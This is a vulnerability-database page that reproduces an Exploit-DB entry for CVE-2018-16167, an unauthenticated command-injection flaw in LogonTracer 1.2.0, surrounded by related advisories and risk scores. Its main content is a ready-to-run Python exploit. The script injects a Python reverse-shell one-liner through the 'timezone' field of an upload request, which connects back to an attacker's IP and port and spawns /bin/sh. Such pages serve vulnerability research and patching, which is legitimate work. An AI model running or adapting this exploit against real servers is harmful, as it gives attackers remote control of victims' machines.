Lucene search
K

LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)

🗓️ 01 Jun 2021 00:00:00Reported by g0ldm45kType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 589 Views

LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated) Exploit
1 Jun 202100:00
zdt
Circl
CVE-2018-16167
2 Jun 202101:10
circl
CNVD
LogonTracer Operating System Command Injection Vulnerability
11 Jan 201900:00
cnvd
CVE
CVE-2018-16167
9 Jan 201922:00
cve
Cvelist
CVE-2018-16167
9 Jan 201922:00
cvelist
Japan Vulnerability Notes
Multiple vulnerabilities in LogonTracer
21 Aug 202408:37
jvn
Nuclei
LogonTracer <=1.2.0 - Remote Command Injection
5 Jun 202603:02
nuclei
NVD
CVE-2018-16167
9 Jan 201923:29
nvd
Packet Storm
LogonTracer 1.2.0 Remote Code Execution
1 Jun 202100:00
packetstorm
Prion
Design/Logic Flaw
9 Jan 201923:29
prion
Rows per page
# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)
# Date: 29/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.jpcert.or.jp/
# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0
# Version: 1.2.0 and earlier
# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)
# CVE : CVE-2018-16167

import requests
import argparse

parser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')
parser.add_argument('aip', type=str, help='Attacker ip')
parser.add_argument('aport', type=str, help='Attacker port')
parser.add_argument('victimurl', type=str, help='Victim URL minus the path.')

args = parser.parse_args()

ATTACKER_IP = args.aip
ATTACKER_PORT = args.aport
PAYLOAD = f"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"

VICTIM_URL = args.victimurl
VICTIM_ENDPOINT = "/upload"

DATA = {
    "logtype": "XML",
    "timezone": f"1;{PAYLOAD};",
}

print("[!] Sending request... If your terminal hangs, you might have a shell!")
requests.post(f"{VICTIM_URL}{VICTIM_ENDPOINT}", data=DATA)
print("[*] Done. Did you get what you wanted?")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jun 2021 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 39.8
CVSS 210
EPSS0.87006
589